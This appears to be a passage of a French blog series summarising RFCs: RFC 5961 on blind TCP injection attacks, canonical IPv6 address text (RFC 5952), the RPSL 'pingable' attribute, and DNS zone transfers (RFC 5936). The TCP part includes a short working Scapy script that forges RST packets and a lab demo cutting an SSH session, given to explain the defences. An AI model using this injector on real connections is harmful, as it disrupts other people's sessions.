Voici d'ailleurs un exemple d'attaque menée avec un programme en Python utilisant l'excellente bibliothèque Scapy, qui permet de fabriquer facilement des paquets IP de son goût. Ici, je triche un peu en me connectant sur la machine visée, pour relever numéro de port et numéro de séquence. Dans une attaque réelle, le méchant devrait faire une boucle qui essaie toutes les valeurs possibles. Je ne l'ai pas fait ici car je ne veux pas faciliter la tâche des script kiddies et, de toute façon, Scapy est bien trop lent pour cela (n'oubliez pas que le numéro de séquence se modifie sans cesse donc un attquant lent a peu de chances). Mon but est de montrer cette attaque en pratique, pas de fournir un outil de coupure des sessions TCP. Voici donc le programme :
#!/usr/bin/env python # Good readings: # http://www.packetstan.com/2010/06/scapy-code-for-bad-ack-reset.html # http://www.sans.org/reading_room/whitepapers/testing/taste-scapy_33249 from scapy import * # Recent Scapys: #from scapy.all import * import random import sys if len(sys.argv) != 6: sys.stderr.write("Usage: %s src-ip src-port dst-ip dst-port seq-number\n" % sys.argv[0]) sys.exit(1) ip_src = sys.argv[1] ip_dst = sys.argv[3] port_src = int(sys.argv[2]) port_dst = int(sys.argv[4]) seq_n = int(sys.argv[5]) ip=IP(src=ip_src, dst=ip_dst) reset=TCP(flags="R", sport=port_src, dport=port_dst, seq=seq_n) send(ip/reset, verbose=1)
Ce code génère un paquet TCP portant l'option 'R'
(Reset). Ici, la victime va être un PC sous
Ubuntu, avec le noyau
Linux 2.6.31. 192.168.2.25 se connecte en
SSH (port 22) vers 192.168.2.7. Un
tcpdump sur 192.168.2.25 nous montre le port
source (42696) et le numéro de séquence (1307609026, n'oubliez pas l'option
-S
pour avoir le numéro de séquence brut et pas
un numéro renormalisé) :
22:27:28.264874 IP 192.168.2.7.22 > 192.168.2.25.42696: \ Flags [P.], seq 1307608946:1307609026, ack 3382006564, win 4197, \ options [nop,nop,TS val 169 ecr 68744645], length 80
Je lance le programme d'attaque, sur une machine tierce :
% sudo python reset-one-tcp.py 192.168.2.7 22 192.168.2.25 42696 1307609100 . Sent 1 packets.
tcpdump montre le faux paquet arrivant :
22:28:51.519376 IP 192.168.2.7.22 > 192.168.2.25.42696: Flags [R], seq 1307609100, win 8192, length 0
et la session SSH est coupée :
Read from remote host 192.168.2.7: Connection reset by peer Connection to 192.168.2.7 closed.
Notez que je n'ai pas utilisé le numéro de séquence exact, j'ai ajouté
84, pour illustrer le fait qu'il suffit de taper dans la fenêtre, pas
forcément pile au bon endroit. Si on veut maintenant adapter ce
programme pour une vraie attaque en aveugle, on ne connait pas en
général le port source, ni le numéro de séquence (les deux derniers
paramètres de la commande reset-one-tcp.py
) et il
faut donc ajouter deux boucles et envoyer beaucoup de paquets.
Il existe bien sûr d'autres protections (que l'obligation d'avoir le numéro de séquence) exact contre cette attaque, variables en coût et en complexité. IPsec, l'authentification TCP-AO du RFC 5925, etc. Des ports source choisis de manière réellement aléatoire aident aussi.
Les sections suivantes décrivent en détail les différentes
possibilités d'une attaque en aveugle, ainsi que les méthodes à
utiliser pour les rendre moins efficaces. Ainsi, la section 3 décrit les attaques utilisant le bit RST
(ReSeT
) du paquet TCP. Le RFC 793 (section 3.4) précise que la connexion doit être coupée
lorsqu'un paquet portant ce bit est reçu (si le numéro de séquence est
bien dans la fenêtre). Une mise en œuvre correcte de TCP est
donc vulnérable à des paquets envoyés en aveugle, si l'attaquant peut
trouver un bon numéro de séquence. Comment limiter les risques de ce
déni de service ? La
section 3.2 de notre RFC décrit le mécanisme suggéré, remplaçant
l'algorithme du RFC 793 : ne couper la connexion
que si le paquet entrant a pile le bon numéro de séquence. Si le
numéro n'est pas celui attendu, mais figure néanmoins dans la fenêtre,
envoyer un accusé de réception. Puisque l'attaquant aveugle ne pourra
pas le recevoir, il ne pourra pas confirmer le
reset (contrairement au pair légitime, qui recevra
l'accusé de réception et, ayant coupé la connexion de son côté,
renverra un RST qui sera, lui, accepté, puisque son numéro de séquence
correspondra audit accusé). Un tel algorithme complique
donc nettement les choses pour l'attaquant. Son principal inconvénient
est qu'un RST légitime, mais qui n'a pas pile le bon numéro de
séquence (par exemple parce que le paquet précédent a été perdu) ne
coupera pas la session TCP légitime, il faudra attendre la
confirmation.
Voici une illustration de ce principe en prenant cette fois comme victime un système NetBSD (noyau 5.0.1). On garde le même programme, 192.168.2.25 se connecte toujours à 192.168.2.7 mais, cette fois, on va diriger les paquets Reset vers 192.168.2.7. Relevons, avec tcpdump, port (55854) et numéro de séquence (1901397904) :
22:35:12.306829 IP 192.168.2.25.55854 > 192.168.2.7.22: P 1901397856:1901397904(48) \ ack 3669275671 win 347 <nop,nop,timestamp 68860664 86>
Et attaquons en tapant un peu au-dessus du bon numéro de séquence :
% sudo python reset-one-tcp.py 192.168.2.25 55854 192.168.2.7 22 1901397909 . Sent 1 packets.
Le résultat est :
22:36:41.508530 IP 192.168.2.25.55854 > 192.168.2.7.22: \ R 1901397909:1901397909(0) win 8192 22:36:41.508559 IP 192.168.2.7.22 > 192.168.2.25.55854: \ . ack 1901397904 win 4197 <nop,nop,timestamp 368 68860664>
On voit le paquet d'attaque et le ACK
de
confirmation, disant « Ah, tu m'a envoyé un RST
pour l'octet 1901397909 mais j'attendais le 1901397904 ». Le vrai pair
ne va évidemment pas confirmer le ReSeT et
l'attaque échoue. (Si on envoie pile le bon numéro de séquence,
l'attaque réussit quand même. Mais elle est bien plus dure pour
l'attaquant, qui ne peut pas profiter de la taille de la fenêtre.)
Et si l'attaquant met le bit SYN (SYNchronize
)
à un ? La section 4 rappelle qu'une fois la connexion TCP établie, un paquet portant ce bit, toujours si
le numéro de séquence figure dans la fenêtre, va couper la
connexion. La section 4.2 demande donc que, pour tout paquet SYN reçu
après l'établissement initial de la connexion, quel que soit son
numéro de séquence, on envoie un accusé de réception. L'attaquant
aveugle ne le verra pas et ne pourra pas confirmer. Le pair légitime
qui avait envoyé un SYN (ce qui ne devrait pas arriver en temps
normal et signifie probablement que le pair avait perdu tout souvenir
de la connexion, par exemple suite à un redémarrage) enverra alors un
RST puisque, pour lui, la session n'est pas ouverte.
Les deux attaques précédentes (RST et SYN) étaient des dénis de service. Mais on peut imaginer une attaque bien pire où le méchant réussit à injecter de fausses données dans une connexion TCP. Elle fait l'objet de la section 5. Si le méchant peut trouver un numéro de séquence dans la fenêtre, ses paquets de données seront acceptés et pourront être présentés à l'application qui utilise TCP (le succès effectif de l'attaque dépend d'un certain nombre de points, et peut dépendre de la mise en œuvre de TCP utilisée).
Pour contrer cette attaque, la section 5.2 demande de durcir les conditions d'acceptation des paquets de données. Davantage de paquets légitimes seront donc rejetés, afin de pouvoir compliquer la vie de l'attaquant.
À noter (section 6) que les recommandations des trois précédentes sections ne sont pas formulées avec la même force. Utilisant le vocabulaire du RFC 2119, les deux premières sont des fortes recommandations (SHOULD) et la troisième seulement une suggestion (MAY). En effet, une injection de données par un attaquant est bien plus difficile (car les vraies données finiront par arriver, avec un numéro de séquence légèrement différent, ce qui peut mener TCP à refuser soit les fausses, soit les vraies) et ne justifie donc pas d'imposer des contre-mesures qui peuvent mener au rejet de paquets légitimes.
Dernier conseil, celui de la section 7, la nécessité de limiter la
quantité d'accusés de réception (ACK
) émis. Avec
les contre-mesures des sections 3 à 5, le nombre de paquets ACK va
augmenter. La section 7 suggère donc de les limiter, par exemple à dix ACK de confirmation
pour toute période de cinq secondes (et que ces chiffres soient
réglables par l'administrateur système, variable
sysctl net.ipv4.tcp_challenge_ack_limit
sur Linux).
On notera que le RFC ne précise pas que le compteur du limiteur doit être par connexion (comme dans le RFC 6528). Résultat, au moins chez Linux, c'est un compteur global, ce qui peut servir à communiquer des informations cruciales pour aider l'attaquant (vulnérabilité CVE-2016-5696, décrite dans l'article « Off-Path TCP Exploits: Global Rate Limit Considered Dangerous »). Deux leçons à en tirer : la sécurité, c'est difficile (corriger une bogue peut en ajouter d'autres) et la limitation de trafic, parce qu'elle change le trafic (évidemment), peut avoir des conséquences imprévues. Un nouvel Internet-Draft a été proposé, discutant de ce problème et des solutions.
En attendant, un truc possible pour limiter les dégâts de cette faille sur Linux serait de faire :
echo $RANDOM > /proc/sys/net/ipv4/tcp_challenge_ack_limit
mais de le faire souvent : l'attaque peut prendre bien moins d'une minute. (Je n'ai pas testé ce truc, dû à x0rz.) Une solution analogue (avoir une limite variant de manière aléatoire) est dans un patch du noyau Linux.
Les recommandations de notre RFC 5961 modifient légèrement le protocole TCP. Cela nécessite donc une section 8, décrivant les problèmes de compatibilité qui peuvent se poser entre deux mises en œuvre de TCP, l'une conforme à notre nouveau RFC 5961, l'autre plus ancienne. Normalement, les modifications du protocole sont 100 % compatibles avec le TCP existant. La section 8 décrit toutefois un cas limite où la coupure d'une connexion nécessitera un aller-retour supplémentaire.
D'autre part, le succès complet des contre-mesures décrites dans ce RFC impose qu'elles soient déployées des deux côtés. Une mise en œuvre moderne de TCP parlant à un vieux pair ne fournirait pas une protection complète.
Dernier problème avec les nouveaux algorithmes : le cas des middleboxes, ces équipements qui se mettent sur le trajet de deux machines IP qui communiquent et qui brisent souvent la transparence du réseau (par exemple les pare-feux). La section 9 examine les problèmes qu'elles peuvent poser. Par exemple, certains équipements ré-envoient le RST pour le compte du vrai pair TCP (section 9.1) et, s'ils ne mettent pas en œuvre les recommandations de ce RFC, peuvent ne pas traiter correctement le ACK de demande de confirmation. Ce genre de problèmes survient souvent lorsqu'une middlebox est « ni chair, ni poisson », ni un pur routeur transparent aux paquets de la couche 4 (TCP), ni un vrai pair TCP. Autre exemple cité (section 9.3), un équipement intermédiaire qui, en voyant passer le RST, supprimerait toute l'information associée à cette connexion TCP. Le ACK de demande de confirmation pourrait alors être jeté, et ne recevrait donc pas de réponse, laissant ainsi une connexion TCP ouverte.
Enfin, la traditionnelle section « Security Considerations » (section 10) synthétise l'ensemble des questions liées à ces contre-mesures. Elle rappelle notamment que le problème traité par ce RFC ne concerne que les attaques en aveugle, typiquement lorsque l'attaquant n'est pas sur le chemin des paquets. S'il l'est, par exemple si l'un des deux pairs TCP est sur un réseau Wi-Fi public, les contre-mesures des sections 3 à 5 ne s'appliquent pas, car elles peuvent facilement être contournées par un attaquant en mesure de regarder les paquets, et de voir quel est le numéro de séquence à utiliser. Ce fut le cas par exemple dans les attaques menées par Comcast contre ses propres clients ou bien dans celles perpétrées par la dictature chinoise.
Même dans le cas d'une attaque en aveugle, les contre-mesures de notre RFC n'empêchent pas l'attaque, elles la rendent simplement beaucoup plus difficile. Un attaquant chanceux peut donc encore réussir, même contre des implémentations de TCP parfaitement à jour. La section 10 rappelle (vœu pieux) que la seule vraie protection serait de généraliser IPsec (par exemple avec l'ESP du RFC 4303).
D'autre part, ce RFC 5961 ne traite que les attaques faites uniquement avec TCP mais ICMP fournit aux attaquants aveugles d'autres possibilités (traitées dans le RFC 5927). Une mise en œuvre sérieuse de TCP doit donc traiter également ces attaques ICMP.
Aucun médicament n'est sans effet secondaire et c'est également le cas ici. Les contre-mesures de notre RFC peuvent créer des possibilités d'attaque par réflexion, si l'attaquant déguise son adresse IP : des paquets comme l'ACK de demande de confirmation seront alors envoyés à un innocent. Le RFC estime ce problème peu grave car il n'y a pas amplification : l'attaquant pourrait donc aussi bien viser directement la victime.
Date de publication du RFC : Août 2010
Auteur(s) du RFC : S. Kawamura (NEC BIGLOBE), M. Kawashima (NEC AccessTechnica)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF 6man
Première rédaction de cet article le 23 août 2010
Comme pour IPv4, mais de manière bien plus
commune, les adresses IPv6 ont plusieurs représentations possibles. Ainsi
(section 1 du RFC),
l'adresse 2001:db8:0:0:1:0:0:1
peut aussi
s'écrire 2001:0db8:0:0:1:0:0:1
,
2001:db8::1:0:0:1
,
2001:db8::0:1:0:0:1
,
2001:0db8::1:0:0:1
,
2001:db8:0:0:1::1
,
2001:db8:0000:0:1::1
ou
2001:DB8:0:0:1::1
. Cette variété peut dans
certains cas être cause de confusion, notre RFC propose donc
une forme recommandée (ici,
2001:db8::1:0:0:1
).
La syntaxe des adresses IPv6 est fixée le RFC 4291, section 2.2. Cette syntaxe est très souple, et venait sans format recommandé, « canonique ». La section 2 liste les points où le RFC 4291 laissait le choix :
2001:db8:0:0:1:0:0:1
et
2001:0db8:0:0:1:0:0:1
sont ainsi équivalentes
(deuxième champ).::
. 2001:db8:0:0:0:0:0:1
et
2001:db8::1
sont ainsi la même adresse. Si le
::
peut apparaitre à deux endroits, le RFC 4291 impose, pour éviter toute ambiguité, de ne
le mettre qu'une fois mais sans préciser où. Ainsi,
2001:db8::aaaa:0:0:1
et
2001:db8:0:0:aaaa::1
sont la même adresse.Est-ce que cela pose vraiment des problèmes ? Parfois, dit notre RFC, dont la section 3 liste les problèmes possibles (sans les hiérarchiser, ce que je regrette car certains cas semblent quand même assez rares en pratique). Premier problème, la recherche d'une adresse dans un fichier texte ou bien avec un tableur. Si on utilise aveuglément grep sur ses fichiers, on risque de ne pas trouver l'adresse IP (avec grep, il faudrait utiliser une expression rationnelle mais les tableurs, par exemple, n'en disposent pas forcément et leurs utilisateurs peuvent ne pas y penser). Notez qu'avec un SGBD qui dispose d'un type « adresse IP » comme PostgreSQL, ce problème n'existe pas, le SGBD ne traite pas l'adresse comme du texte :
essais=> CREATE TABLE Machines (name TEXT, address INET); CREATE TABLE essais=> INSERT INTO Machines VALUES ('gandalf', '2001:db8::cafe:0:1'); INSERT 0 1 essais=> INSERT INTO Machines VALUES ('saroumane', '2001:db8::bad:0:1'); INSERT 0 1 essais=> SELECT * FROM Machines WHERE address = '2001:DB8:0:0:0:CAFE:0:1'; name | address ---------+-------------------- gandalf | 2001:db8::cafe:0:1 (1 row)
On voit que, malgré une représentation toute différente de l'adresse,
la machine gandalf
a bien été trouvée. Si tout le
monde utilisait des logiciels de gestion d'adresses IP bâtis sur ce
principe, il n'y aurait pas de problème. Mais, comme le note le RFC,
les méthodes « du pauvre » à base de grep ou
d'Excel sont courantes. (Voir aussi les
sections 3.1.3 et 3.1.4, moins convaincantes à mon avis.)
Des problèmes analogues surviennent lorsqu'on veut écrire un
programme capable d'analyser des adresses IPv6 sous toutes leurs
formes légales (section 3.2.1, avec laquelle je ne suis guère
d'accord : il existe des bibliothèques toutes faites pour cela, dans
tous les langages, comme inet_pton()
pour C, et celui qui réinvente la roue en
écrivant un analyseur tout neuf en PHP ou
Visual Basic mérite les ennuis qu'il aura).
Le RFC cite d'autres problèmes possibles, comme le fait qu'un
module de journalisation qui afficherait les
adresses IP sous leur forme longue (comme
2001:0db8:0:0:1:0:0:1
) produirait des historiques
peu lisibles, ou comme le fait qu'un mécanisme
d'audit (par exemple avec un outil comme
diff) ou de gestion de
versions qui analyserait des changements dans la
configuration d'un routeur pourrait croire à
tort qu'il y a un changement lorsqu'une adresse IPv6 passe d'une forme
à une autre (section 3.2.3). Bien d'autres points analogues sont
pointés du doigt par le RFC.
Enfin, le jeu de caractères étendu de l'hexadécimal entraine un risque de confusion entre D et 0, de même qu'entre B et 8 (section 3.4.3).
Quelle solution propose donc notre RFC ? La section 4 est la partie normative du document : elle définit une forme canonique qui devrait être suivie systématiquement lorsqu'une adresse IPv6 est affichée. Rien de nouveau dans cette forme, qui est déjà celle choisie par la plupart des logiciels, à part sa désignation comme forme canonique officielle. Attention, cette obligation ne porte que sur la sortie d'adresses IPv6, en entrée, un logiciel conforme à la norme IPv6 doit toujours accepter les différentes syntaxes.
Une conséquence de cette existence d'une forme canonique est que le logiciel n'affichera donc pas toujours ce qu'on lui a indiqué. Pour reprendre l'exemple PostgreSQL :
essais=> INSERT INTO Machines VALUES ('galadriel', '2001:0DB8:0:DBA8:0:0:0:1'); INSERT 0 1 essais=> SELECT * FROM Machines WHERE name = 'galadriel'; name | address -----------+-------------------- galadriel | 2001:db8:0:dba8::1
L'adresse sera affichée sous une forme différente de celle sous laquelle elle a été entrée. La section 3.3.1 du RFC expliquait pourtant que c'était une mauvaise idée que d'afficher sous une forme différente, petite contradiction de ce RFC.
Donc, concrètement, comment doit être affichée une adresse ?
2001:0db8::0001
doit être écrit
2001:db8::1
.::
doit être utilisée au maximum, doit
s'appliquer à la suite la plus longue (s'il y en a plusieurs) et, en
cas d'égalité, à la première (section 4.2). Ainsi,
2001:db8:0:0:0:0:0:1
doit s'écrire
2001:db8::1
,
2001:db8:0:42:0:0:0:1
doit être mis sous la forme
2001:db8:0:42::1
et
2001:db8:0:0:137:0:0:1
doit être affiché
2001:db8::137:0:0:1
.2001:DB8::BAD:DCAF
doit être
2001:db8::bad:dcaf
.Le RFC prévoit aussi le cas des adresses spéciales comme les adresses IPv4 représentées en IPv6 (section 5).
Si l'adresse IP indiquée comprend également un
port, il y avait traditionnellement plusieurs
formes. La section 6 rend obligatoire la syntaxe
avec crochets
[2001:db8::deb:1]:80
, issue du RFC 3986 (section 3.2.2) et qui n'était obligatoire que pour les URL.
L'annexe A donne des conseils pour les programmeurs, qui vont
devoir écrire des programmes affichant des formes correctes. Ainsi,
sur FreeBSD 7.0, l'utilisation de
getnameinfo()
avec l'option
NI_NUMERICHOST
produit déjà le résultat correct,
sauf pour les adresses dites spéciales.
De même, PostgreSQL produit déjà des adresses au bon format. Et
avec inet_pton()
? Le programme canonicalize-v6.c
montre que son comportement est bien celui
du RFC :
% ./canonicalize-v6 toto 2001:db8:Bad:0:0::0:1 127.0.0.1 35:0FF::1 2001:0:0:1:b:0:0:A 2001:db8:0:0:1:0:0:0 toto -> Illegal input IPv6 address 2001:db8:Bad:0:0::0:1 -> 2001:db8:bad::1 127.0.0.1 -> Illegal input IPv6 address 35:0FF::1 -> 35:ff::1 2001:0:0:1:b:0:0:A -> 2001::1:b:0:0:a 2001:db8:0:0:1:0:0:0 -> 2001:db8:0:0:1::
Voir aussi le RFC 4038 pour des détails sur les questions IPv6 pour les applications.
Date de publication du RFC : Août 2010
Auteur(s) du RFC : B. Haberman (JHU APL)
Chemin des normes
Première rédaction de cet article le 23 août 2010
Dernière mise à jour le 21 février 2011
Lorsqu'un nouveau réseau est connecté à l'Internet, il est parfois injoignable
de certaines parties de l'Internet, par exemple parce que ses
adresses IP sont illégalement utilisées par d'autres ou bien
parce qu'il est filtré en raison
d'une histoire antérieure. Les bonnes pratiques opérationnelles
demandent donc la configuration d'un serveur
ICMP qui répondre à des tests, par exemple
depuis ping. Traditionnellement, l'existence de
ce serveur était annoncé via les commentaires stockés dans la base
d'un RIR (comme le commentaire
remarks: pingable 2a01:190:1764:150::30
du réseau
2a01:190::/32). Ces commentaires n'étant pas analysables
automatiquement par un programme, il était donc souhaitable de créer
un nouvel attribut RPSL pour cela,
pingable:
.
Prenons l'exemple de l'allocation d'un nouveau préfixe à un RIR par exemple, l'allocation de 175/8 : le nouveau préfixe est souvent inaccessible depuis plusieurs parties de l'Internet, par exemple en raison de filtres anti-bogon. Il faut donc une étape de « débogonisation » où le préfixe sera annoncé par le RIR, des serveurs ICMP echo seront installés et testés. Lorsque les filtres anti-bogon auront été mis à jour, le test pourra cesser.
Notre RFC 5943 permet d'automatiser ce genre de tests en ayant un nouvel attribut dans la description en RPSL (RFC 4012) de la route vers le préfixe en question. Sa description complète figure dans la section 2 du RFC, avec cet exemple :
route6: 2001:DB8::/32 origin: AS64500 pingable: 2001:DB8::DEAD:BEEF ping-hdl: OPS4-RIPE
(ping-hdl
est le handle du
contact technique de ce serveur de test).
Cet attribut a été mis en œuvre dans la base du RIPE en février
2011. Voyez par exemple l'objet route
pour le
préfixe 84.205.81.0/24.
:
% whois -h whois.ripe.net 84.205.81.0/24 ... route: 84.205.81.0/24 descr: RIPE-NCC-RIS BGP Anchor Prefix @ rrc01 - LINX origin: AS12654 pingable: 84.205.81.1 ping-hdl: RISM-RIPE ...
Les processus qui testent les adresses
pingable
doivent prendre garde à ne pas
surcharger le réseau en se limitant à un nombre raisonnable d'essais
(section 3 du RFC). Naturellement, rien ne garantit que tous le feront
et celui qui installe le serveur de test doit aussi déployer ses
propres protections (section 4 du RFC).
L'adoption de ce nouvel attribut n'est pas allée de soi et on peut trouver un exemple des discussions qui l'ont accompagné dans les minutes de la réunion RIPE-60 (cherchez « E. A Dedicated RPSL Interface Identifier for Operational Testing »).
Date de publication du RFC : Juin 2010
Auteur(s) du RFC : Edward Lewis (NeuStar), A. Hoenes (TR-Sys)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 28 juin 2010
Parmi les protocoles qui forment le socle de l'Internet, une des particularités du DNS est la grande distance entre la norme officielle, vieille désormais de treize ans et jamais révisée intégralement, et la réalité. Celle-ci a nécessité a plusieurs reprises la publication de normes de clarification, détaillant ce que le RFC 1034 avait laissé dans l'ombre. Notre RFC 5936 continue cette tradition pour le cas des transferts de zone où un serveur de noms réclame à un serveur faisant autorité une copie complète de la zone (c'est-à-dire des données DNS). Le principal point vague était le cas où un serveur faisait également autorité pour des zones parentes ou filles de la zone transférée : devait-il tenir compte de ce qu'il avait appris à cette occasion pour « corriger » la zone transférée ? La réponse est clairement désormais non : le serveur doit transférer ce qu'on lui a donné comme contenu de la zone, pas ce qu'il a pu apprendre par ailleurs.
Un peu d'histoire d'abord : le transfert de zones (souvent désigné
par le mnémonique AXFR
) était officiellement
normalisé dans des parties du RFC 1034 et RFC 1035 (section 4.3.5 du premier, sections 2.2,
3.2.3 et 4.2 du second). Diverses améliorations avaient été créés
comme le transfert incrémental
(IXFR
) du RFC 1995 ou
comme la notification immédiate du RFC 1996. Le protocole avait également été corrigé par la
section 5.5 du RFC 2181. Bien des points étant flous dans les RFC originels,
les programmeurs ont dû petit à petit concevoir une version
non-officielle, mais plus précise, du protocole, et c'est elle que
notre RFC décrit.
Quel est le problème qu'essaie de résoudre le transfert de zones ?
Pour des raisons de fiabilité, toute zone doit être servie par au
moins deux serveurs faisant autorité (et bien plus en
pratique). Évidemment, il faut que ces serveurs disposent des mêmes
informations, soient synchronisés. Il existe plusieurs méthodes pour
cela. Parmi les TLD, par exemple, certains
utilisent rsync, certains utilisent les
mécanismes de réplication de la base de données sous-jacente (comme
Slony pour
PostgreSQL). Mais AXFR
(et
IXFR
) sont les seuls mécanismes DNS du
lot. Aussi, bien que cela ne soit pas, en toute rigueur, obligatoire,
tous les logiciels serveurs de noms mettent en œuvre cette
technique (section 1.2 du RFC).
Focalisons nous sur AXFR
car
IXFR
et NOTIFY
ne sont pas
traités par ce nouveau RFC. La section 2 de notre RFC 5936 reprend donc le travail et décrit intégralement le
protocole. Un client DNS envoie une requête AXFR
en mettant le QTYPE
(Query
TYPE) à la valeur 252 (section 2.1) et en dirigeant la requête vers
un serveur faisant autorité (jamais vers un résolveur). Avec dig,
cela se fait ainsi (ici pour la zone
.uk
) :
% dig @ns1.nic.uk AXFR uk.
Le client doit en outre s'assurer de la valeur de certains champs (section 2.1.1). Il peut aussi ajouter une section additionnelle à la question (section 2.1.5) spécifiant l'utilisation d'EDNS (RFC 2671) et/ou d'une technique d'authentification comme TSIG (RFC 8945).
La section 2.2 décrit la réponse à cette requête. C'est une série de messages DNS (lorsqu'il est transporté sur TCP, chaque message DNS est composé d'une longueur, puis de données). Chaque message peut comporter plusieurs enregistrements. Le premier message doit commencer avec l'enregistrement SOA de la zone transférée et le dernier message se terminer avec le même SOA. À part cette règle, l'ordre des enregistrements ou des messages n'a pas de signification (ce n'est donc pas forcément l'ordre du fichier de zone). Voici une partie de la réponse à la requête faite plus haut. Elle ne comporte qu'un seul message, incluant les 195 enregistrements de cette petite zone. La réponse commence bien par le SOA de la zone transférée :
uk. 172800 IN SOA ns1.nic.uk. hostmaster.nic.uk. 1277504551 7200 900 2419200 172800 uk. 3600 IN RRSIG NSEC3PARAM 8 1 3600 20100709182231 20100625172231 44346 uk. dM777Q8sZ9sNshexmw08/cfUIAqzxjMj/MvARyuPxxNW52pfXprZ7AvM 0B27rVpIi6qEsBlypNwzZMOm56bzmDQVGBXnC77eUh9kXGEaI6tLuTta rfFWakGdcS8kn/lUOtIOhbfy6xuQRsD6+Y/iV/HEcwmpShVcea/PnSx8 eQQ= ... _nicname._tcp.uk. 172800 IN SRV 0 0 43 whois.nic.uk. ac.uk. 172800 IN NS ns.uu.net. ... british-library.uk. 172800 IN NS dns1.bl.uk. british-library.uk. 172800 IN NS dns2.bl.uk. co.uk. 172800 IN NS ns1.nic.uk. ... u1fmklfv3rdcnamdc64sekgcdp05bbiu.uk. 172800 IN NSEC3 1 1 0 - 2D51R16SS5MQU6PCG2Q0L05JA7E20FC7 NS SOA RRSIG DNSKEY NSEC3PARAM uk. 172800 IN SOA ns1.nic.uk. hostmaster.nic.uk. 1277504551 7200 900 2419200 172800 ;; Query time: 430 msec ;; SERVER: 2a01:40:1001:35::2#53(2a01:40:1001:35::2) ;; WHEN: Sat Jun 26 18:33:50 2010 ;; XFR size: 195 records (messages 1, bytes 6125)
La réponse se termine bien par le SOA de la zone transférée. Bien que dig ne l'affiche pas lors d'un transfert de zones, certaines options doivent être mises dans l'en-tête, par exemple AA pour Authoritative Answer (section 2.2.1).
Dans l'exemple ci-dessus, la section additionnelle était vide. Mais, si on authentifie le transfert avec TSIG (RFC 8945), ce n'est plus le cas. La signature de la zone transférée apparait alors dans cette section (section 2.2.5 ; mais dig l'affiche à la fin des réponses, ce qui est trompeur. Si on veut voir ce qui passe sur le réseau, il vaut mieux utiliser Wireshark.)
Cela, c'était le protocole. Maintenant, les questions les plus
sérieuses posées par le transfert de zones portaient plutôt sur le
contenu de ce qui est transféré (section 3). Le
principe de base posé par notre nouveau RFC est que le serveur doit
transférer fidèlement ce que lui-même a reçu (via un fichier de zone
- la méthode traditionnelle - ou via un SGBD). Notez que
cette règle semble un enfonçage de porte ouverte mais qu'elle ne l'est
pas : par exemple, si la zone est très dynamique, fabriquée à la
demande, alors un transfert de zones est tout simplement impossible
(section 3.1). Pour prendre un exemple pour rire, c'est le cas de
rp.secret-wg.org
.
Mais le principal cas où l'application de la règle est délicate est
celui cité dans la section 3.2 : que faire si le serveur qui fait
autorité pour foo.example
fait également autorité
pour bar.foo.example
et qu'on lui demande de
transférer foo.example
? Normalement, les
enregistrements NS des deux zones doivent être
identiques. Mais, dans le monde réel, ce n'est pas toujours le cas. Si
foo.example
contient :
bar.foo.example. IN NS ns1.example.net. IN NS ns2.example.net.
(enregistrements qui ne font pas autorité mais sont nécessaire
spour trouver les serveurs de la zone fille)
et que bar.foo.example
contient :
bar.foo.example. IN NS ns1.example.net. IN NS ns3.example.net.
(qui, cette fois, font autorité)
quel jeu d'enregistrements doit renvoyer le serveur lorsqu'on lui
demande foo.example
? Ce n'est pas dit clairement
dans les RFC 1034 (sa section 4.2.1 est ambigue) et RFC 1035 et les serveurs de noms ont souvent eu des
comportements différents sur ce point. Or, celui-ci est crucial, par
exemple pour des zones signées avec
DNSSEC (par exemple, les enregistrements NSEC
et NSEC3 ne seront pas les mêmes, puisque le nom suivant, dans chacune
des deux zones, sera différent). Notre nouveau RFC tranche : on envoie
ce que contenait la zone transférée, pas ce qu'on a pu apprendre parce
qu'on sert d'autres zones. Dit autrement, AXFR
doit être exactement équivalent à un rsync du
fichier de zone.
Pourquoi l'ambiguité a t-elle été tranchée dans ce sens ? Il y a plusieurs raisons parmi lesquelles :
foo.example
peuvent
faire autorité également pour bar.foo.example
et
d'autres pas. Si le serveur transférait les données « corrigées », les
différents serveurs de foo.example
enverraient
donc des contenus différents lors d'un transfert.foo.example
et
bar.foo.example
) serait bien plus difficile si on
ne pouvait pas accéder aux données brutes stockées sur le
serveur.Même règle (transférer la zone qu'on a reçu, ne pas tenter de la « corriger » avec ce qu'on a appris dans d'autres zones) s'applique aussi à la colle, ces enregistrements d'adresses IP qui, sans faire autorité, doivent parfois être stockés dans la zone parente, pour permettre de trouver un serveur de noms qui figure dans une zone fille (section 3.3).
Il reste deux problèmes liés au contenu de la zone : la compression
de données (RFC 1035, section 4.1.4) lors d'un
transfert ne peut pas
être la même que pour une réponse typique (section 3.4) car elle doit tenir compte
de la casse (le transfert doit désormais transmettre les
noms en respectant leur casse, ce qui n'est pas le cas lors d'une
requête DNS classique). Et enfin, il y a le problème des noms
masqués. Si un serveur permet la mise à jour dynamique (RFC 2136), une nouvelle délégation (la création
dynamique d'enregistrements NS) peut masquer des anciens noms (section
3.5). Ainsi, si la zone contenait
www.toto.foo.example
, la création
d'enregistrements NS pour toto.foo.example
masque
complètement www.toto.foo.example
. Dans ce cas,
le RFC est clair : le transfert de la zone doit inclure les noms
masqués.
Une fois réglé le protocole et le contenu, reste la question du
transport. La section 4 traite
son cas : le transfert de zones a toujours nécessité l'utilisation de
TCP (la section 4.2 explique pourquoi cela
restera le cas). Mais le reste n'est pas clair : par
exemple, peut-on réutiliser la connexion TCP pour un deuxième
transfert de zones ? Les serveurs de noms esclaves font genéralement
une requête SOA avant de demander le transfert de zones, l'examen du
numéro de série que contient le SOA leur permet de savoir si un
transfert est nécessaire. Cette requête SOA peut-elle passer sur la
même connexion TCP que le transfert, si celui-ci a lieu ? Il est
difficile de « faire parler » les vieux RFC sur ce point. Le fait
qu'ils n'exigent pas que le serveur copie la question ou bien le
Query ID dans la réponse semble indiquer que l'idée
était en effet qu'une connexion TCP ne serve qu'au transfert de zone,
et à un seul. Toutefois, notre RFC 5936 choisit de
trancher en autorisant explicitement l'utilisation d'une connexion TCP
pour plusieurs requêtes (pas forcément toutes
AXFR
). C'est même l'option recommandée, pour
économiser des ressources sur le serveur.
